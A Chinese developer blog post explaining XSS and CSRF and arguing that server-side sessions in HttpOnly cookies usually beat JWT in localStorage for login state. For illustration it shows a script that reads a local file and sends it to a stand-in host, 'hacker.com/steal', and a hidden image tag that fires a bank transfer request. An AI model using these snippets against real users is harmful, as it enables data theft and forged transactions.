标准答案,无论采用哪种实现方式,本质都是在安全性

一、前言

登录功能,这个非常基础的功能,实现方式五花八门,初中级开发面试的重灾区,并不是这个问题有多难,而是细节很多,并且最关键的一点是没有标准答案,无论采用哪种实现方式,本质都是在安全性、用户体验和系统灵活性上寻求平衡。一定不要钻牛角尖,没有完美的安全方案。

二、XSS 和 CSRF

这俩哥们相信大家都有所耳闻,XSS 全称 Cross-Site Scripting (跨站脚本攻击), CSRF 全称 Cross-Site Request Forgery(跨站请求伪造)

💡本来应该叫 CSS (Cross-Site Scripting),但 CSS 已经被"层叠样式表"用了,所以改叫 XSS

2.1. XSS

我举个🌰来解释一下:

XSS:

  • 你在小区公告栏贴了个通知

  • 坏人在你的通知上夹了个小广告

  • 所有看公告的人都看到了小广告

结合系统来看:

  • 你发布了一个系统
  • 坏人在你的系统里植入了恶意代码(比如:执行一段脚本获取你的 token,再将你的 token 发送出去)
  • 所有访问你网站的用户都会执行这段代码
  • 坏人通过这种方式获取他人敏感信息,干坏事

没有实际案例,光说理论还是太抽象了,比如你会说,为什么我从没碰到,怎么实现的,是不是损人听闻。

实际上 XSS 攻击不但有,还很常见!只是你感觉不到了而已。

首先现代框架已经帮你拦住了

html 复制代码
// Vue/React/Angular 等框架自动防护

  
  <div>{{ userInput }}</div>  


// 以前 jQuery 时代
$('#content').html(userInput);  // 危险!

所以这里要顺带提一点,如果你在使用 v-html 的时候就要注意了!

{{ userContent }}

接下来说一个,在现实开发中真实碰到的情况,通过邮件发送未知的 svg

html 复制代码
// 攻击者精心构造 payload

如果你下载了下来,然后双击了这个 svg,你的数据将会被发送到对方服务器上。

css 复制代码
  
  
    // file:// 协议下,可以访问本地文件
    fetch('file:///C:/Windows/System32/drivers/etc/hosts')
      .then(response => response.text())
      .then(data => {
        // 发送到攻击者服务器
        fetch('https://hacker.com/steal', {body: data});
      });
  

2.2. CSRF

还是先来举个🌰:

CSRF:

  • 你在网站上登录了某银行站点(保持登录状态,假设你的网站在 2025 年还有这个漏洞)
  • 这个时候你访问了其他网站,或者点了不知名链接,结果访问的站点夹带了私货,转账链接 https://bank.com/transfer?to=hacker&amount=10000
  • 自动携带用户信息
  • 在银行站点来看完全合法,转账成功。

结合系统来看:

  • 图片 CSRF
html 复制代码
<p>看看我的新宠物!</p>
<img src="https://bank.com/transfer?to=hacker&amp;amount=10000" width="1" height="1" alt="可爱狗狗">
  • 自动关注/点赞
html 复制代码

同样的,为什么我们现在关注这个比较少了。

得益于前后端分离的普及,以及各种教程对 JWT 的推行,使得基于 cookie 的自动携带 token 方案被慢慢忽视。通过手动设置 Header 传递 token , 自带 CSRF 防护。

大白话:前后端分离天然防 CSRF 是因为认证信息不会"自动"发送,每次都要"手动"设置。坏人网站没法帮你"手动"设置 Authorization header

💡说了这么多,我们来总结一下,技术的本质

XSS(跨站脚本攻击)

  • 目标 :偷用户数据(tokencookie个人信息
  • 方式 :往网页里注入恶意 JavaScript 代码
  • 防御HttpOnly Cookie(让JS读不到)、输入消毒、CSP

CSRF(跨站请求伪造)

  • 目标:冒充用户执行操作(转账、改密码、发帖)
  • 方式 :诱骗用户点击链接,利用浏览器的自动带 Cookie 机制
  • 防御CSRF TokenSameSite Cookie、验证 Refere

我想看到这你应该对 XSS 以及 CSRF 有了一定的理解,那么接下来这些问题你应该可以很好的解释了。

token 存 SessionStorage、 LocalStorage 还是 cookie ? 为什么 ?

答案是:存哪里都可以!但是侧重点不同

  • cookie 里,可以利用 HttpOnly 属性,减少 XSS 的危害。

❗️注意:Cookie 本身不能防止 XSS,但正确的 Cookie 设置可以减少 XSS 的危害!

  • SessionStorageLocalStorage,可以规避 CSRF ,但是增加了 XSS 窃取用户信息风险。

三、到底该如何选择?

基于前面对 XSSCSRF 的认识,发现无论我们怎么选,似乎都有所欠缺。但是我们可以看一下,主流的一些平台,像掘金、b 站、github、 若依,eladmin 都是存在 cookie 中的。这似乎预示着什么。

平台 登录状态存储 说明
Google ✅ HttpOnly Cookie 多个 auth cookie
GitHub ✅ HttpOnly Cookie user_session
Facebook ✅ HttpOnly Cookie c_user, xs
Twitter/X ✅ HttpOnly Cookie auth_token
Notion ✅ HttpOnly Cookie 多个 session cookie
Vercel ✅ HttpOnly Cookie auth-token
Shopify ✅ HttpOnly Cookie _secure_session_id

几乎所有主流平台都用 HttpOnly Cookie 而不是 localStorage

为什么会出现现在这种情况?

因为我们一直在被误导,被八股文误导,存 cookie,还是存 xxxStorage,其实本质上根本不是存哪里的问题。

一旦你接受存哪里的引导,实际上就已经被带入坑里了。

大厂的 Cookie 不是"存储",是"会话管理"。

大白话:大厂确实用 Cookie ,但不是你想的"JWT in Cookie",而是 "Session ID in Cookie",他们用 Session ID ,数据在服务端,这是升级版的 Session ,不是传统的 Servlet Session,结合了 Cookie 的安全性和服务端的控制力。

bash 复制代码
// 小公司/个人项目:
localStorage.setItem('token', jwtToken);
// 逻辑:前端存储 + 后端验证

// 大厂的实际做法:
response.addHeader('Set-Cookie', 'session=xxx; HttpOnly; Secure; SameSite=Strict');
// 逻辑:服务端全权管理会话

区别在于:

csharp 复制代码
// 你以为的 Cookie 存储:
Cookie cookie = new Cookie(&#34;jwt_token&#34;, jwtString);
// 把 JWT 整个放 Cookie

// 大厂的实际做法:
Cookie cookie = new Cookie(&#34;session_id&#34;, randomSessionId);
// 只是一个随机标识符
// 真实数据在服务端(Redis/数据库)

关键点: 即使用 Cookie,也不要把 JWT 放进去。放一个无意义的 Session ID,真正的数据在服务端。这才是最佳实践!

说到这里,依然没有一个标准答案,所以我们到底该如何选择,以下是我的见解,如果你有不同意见,欢迎留言讨论。

  • 小项目:JWT in HttpOnly Cookie(简单)

  • 中项目:Session ID + Redis(推荐)

  • 大项目:Session ID + 分布式缓存 + 安全增强

四、题外话

技术发展到今天,不断地推陈出新,很多公众号为了推广新技术,踩一捧一,过度炒作。

yaml 复制代码
2010年: `Cookie` 为主,但有 `CSRF` 问题
2015年: `JWT` 流行,`localStorage` + 前端管理
2018年: 发现 `localStorage` 有 `XSS` 风险
2020年: 回归 `Cookie`,但升级了(`HttpOnly` + `SameSite`)
2025年: 大厂用 `Session ID`,我们还在纠结

一句话真相:JWT 被过度炒作,Session 才是沉默的大多数。

接下来我想要和大家探讨几个问题:

4.1. 为什么 JWT 这么火?

① 技术营销的胜利

yaml 复制代码
宣传口号:
  - &#34;无状态!可扩展!&#34;
  - &#34;不需要数据库查询!&#34;
  - &#34;微服务友好!&#34;

现实:
  - &#34;无状态 ≈ 无法主动踢人&#34;
  - &#34;减少查询 ≈ Token 膨胀&#34;
  - &#34;微服务友好 ≈ 需要共享密钥&#34;

② 教程的简化

yaml 复制代码
// 教程里完美的 JWT 例子
const token = jwt.sign({ userId: 123 }, 'secret');
// 两行代码搞定认证!多简单!

// 但生产环境需要:
const token = jwt.sign({
  userId: 123,
  jti: 'uuid',
  iat: Date.now(),
  exp: Date.now() + 3600,
  iss: 'auth-service',
  aud: 'api-service',
  // 权限、角色、版本...
}, secret, { algorithm: 'RS256' });
// 加上黑名单、刷新机制...

③ 新技术的吸引力

yaml 复制代码
// JWT 听起来很&#34;现代&#34;
// &#34;我们在用 JWT,你们还在用 Session?&#34;

// 就像当年:
// &#34;我们用 MongoDB,你们还在用 MySQL?&#34;
// &#34;我们用微服务,你们还是单体?&#34;

// 现在:
// &#34;我们用 GraphQL,你们还在用 REST?&#34;
// 技术总是需要&#34;新东西&#34;来炒作

4.2. Session 为什么还是主流?

① 简单才是王道

yaml 复制代码
// Session 的工作流程:
1. 登录 → 存 Session → 返回 Cookie
2. 请求 → 读 Cookie → 查 Session → 返回数据
3. 登出 → 删 Session

// 直观、易懂、好调试

② 可控制性强

yaml 复制代码
// 随时可以:
// 1. 强制用户下线
sessionStore.delete(userId + &#34;:*&#34;);

// 2. 查看谁在线
sessionStore.scan(&#34;user:*&#34;);

// 3. 限制并发登录
if (sessionStore.count(userId + &#34;:*&#34;) > 3) {
    throw new TooManySessionsException();
}

// 4. 实时更新权限
sessionStore.update(userId + &#34;:&#34; + sessionId, newPermissions);

③ 安全性更可控

yaml 复制代码
Session 方案的安全升级路径:
阶段1: 内存 Session
阶段2: Redis Session
阶段3: Redis + 异地登录检测
阶段4: Redis + 设备指纹
阶段5: Redis + 实时风控

// 每一步都很清晰

4.3. Session 存储成本 vs 无状态优势

在很多文章中都能看到,无状态的优势在于,服务端无需存储,减轻了服务端的压力。

宣称优势 现实情况
减少数据库查询 但 JWT 验证也需要计算签名
无状态可扩展 Session 用 Redis 一样可扩展
适合微服务 Session 也可以,只是要共享存储
性能更好 微秒级差异,用户感知不到

那么存储成本真的很高吗?粗略的估算一下:

java 复制代码
// 一个用户会话的数据量
class UserSession {
    String userId;          // 20字节
    String username;        // 20字节
    List roles;     // 100字节
    Map attrs; // 500字节
    Date loginTime;         // 8字节
    Date lastAccess;        // 8字节
    // 总计:~656字节
}

// 100万用户同时在线
1000000 × 656 ≈ 656 MB

// 加上 Redis 开销,大概 1-2 GB
// 现在 1GB 内存多少钱?

当你有 100万 在线用户,这点内存开销,毛毛雨啦!

相反,token 膨胀后,每次传递带来的流量开销就不好说了。

我让 AI 帮我算了一下,仅供参考:

维度 Session 方案 JWT 方案 差距倍数
存储成本 $40-50/月 $0/月 Session 贵
流量成本 忽略不计 $2,000+/月 JWT 贵 40x
总成本 $40-50/月 $2,000+/月 JWT 贵 40x
性能影响 1ms Redis GET 0.5ms JWT 验证 差异可忽略
运维复杂度 中等 Session 稍高

JWT 的"免费"是假象 - 流量成本远超存储成本

规模越大,JWT 越贵 - 流量成本线性增长

Session 性价比高 - 内存便宜,流量小

控制能力有价值 - Session 能做的事情多

4.4. 现实项目中的选择

小公司用 JWT:

less 复制代码
初创公司,3个开发
&#34;用 JWT!无状态,简单!&#34;
实际遇到:
 - Token 失效问题
 - 用户投诉&#34;不能踢人&#34;
 - Token 越来越大
但还能忍,先上线再说

中型公司纠结:

less 复制代码
50人的技术团队
&#34;JWT 好像不够用了...&#34;
&#34;要不要换 Session?&#34;
但已经有用户在用,改造成本高
结果:JWT + Redis 黑名单
这不就是 Session 吗?! 😅

残酷的真相:

java 复制代码
// 说是 JWT,其实是...
@RestController
public class AuthController {
    
    @PostMapping(&#34;/login&#34;)
    public ResponseEntity login() {
        // 生成 JWT
        String token = jwt.generateToken(user);
        
        // 但是...存 Redis 了!😂
        redis.set(&#34;token:&#34; + token, user);
        
        return ResponseEntity.ok(token);
    }
    
    @GetMapping(&#34;/validate&#34;)
    public ResponseEntity validate(@RequestHeader(&#34;Authorization&#34;) String token) {
        // 先查 Redis!
        User user = redis.get(&#34;token:&#34; + token);
        if (user == null) {
            return ResponseEntity.status(401).build();
        }
        
        // 再验证 JWT(可选)
        jwt.validate(token);
        
        return ResponseEntity.ok(user);
    }
}

// 这不就是 Session 吗?只是用 JWT 格式的 Session ID!

大公司用 Session:

less 复制代码
大厂架构师
&#34;我们用 Session,有问题吗?&#34;
&#34;Redis 集群能撑住&#34;
&#34;安全团队要求能实时控制&#34;
&#34;用户体验要求能多设备管理&#34;
没人发博客吹这个,但稳定运行着

4.4. JWT 的真实使用场景

适合 JWT 的场景:

yaml 复制代码
1. 一次性验证: 邮件验证链接
2. 短期授权: 文件下载链接(15分钟)
3. API 网关: 内部服务间通信
4. 第三方集成: OAuth 2.0
5. 无状态端点: 公开的只读API

不适合 JWT 的场景:

yaml 复制代码
1. 用户会话管理: 需要失效控制
2. 权限频繁变更: JWT 更新不及时
3. 敏感操作: 需要实时验证
4. 多设备管理: 需要会话列表

五、总结

不要被技术潮流绑架。根据需求选择:

  • 要简单可控 → Session
  • 要无状态 API → JWT
  • 大部分 Web 应用 → Session

选择用 Session 不是因为技术落后,而是因为它确实好用。技术选型不是追新,而是选合适。

这里给出一个实用对比表格供大家参考:

考量维度 Session JWT
存储成本 低(内存便宜) 零(但流量成本可能更高)
实时控制 ✅ 完全控制 ❌ 很难控制
安全审计 ✅ 完整记录 ⚠️ 有限记录
用户体验 ✅ 灵活控制 ⚠️ 固定过期
扩展性 ✅ Redis 集群 ✅ 无状态扩展
微服务 ✅ 需要共享存储 ✅ 无状态
移动端 ⚠️ Cookie 支持差 ✅ 原生支持好
开发复杂度 简单直观 各种边缘情况

千里之行,始于足下。你的"个人公司"从这第一个2小时开始。欢迎在评论区分享你的进展或遇到的卡点,我会逐一查看,尽可能的帮助解决。我们下一篇文章见!

相关推荐
LYFlied3 小时前
【每日算法】131. 分割回文串
前端·数据结构·算法·leetcode·面试·职场和发展
二狗哈3 小时前
Cesium快速入门27:GeoJson自定义样式
前端·cesium·着色器
喝牛奶的小蜜蜂3 小时前
微信小程序|云环境共享-使用指南
前端·微信小程序·ai编程
xcLeigh3 小时前
HTML5实现好看的视频播放器(三种风格,附源码)
前端·音视频·html5
TE-茶叶蛋3 小时前
html5-qrcode扫码功能
前端·html·html5
2501_906467633 小时前
HTML5结合Vue3实现百万文件分块上传的思路是什么?
前端·html·html5·vue上传解决方案·vue断点续传·vue分片上传下载·vue分块上传下载
San30.3 小时前
现代前端工程化实战:从 Vite 到 React Router demo的构建之旅
前端·react.js·前端框架
kirinlau3 小时前
vue3+vite+scss项目使用tailwindcss
前端·css·scss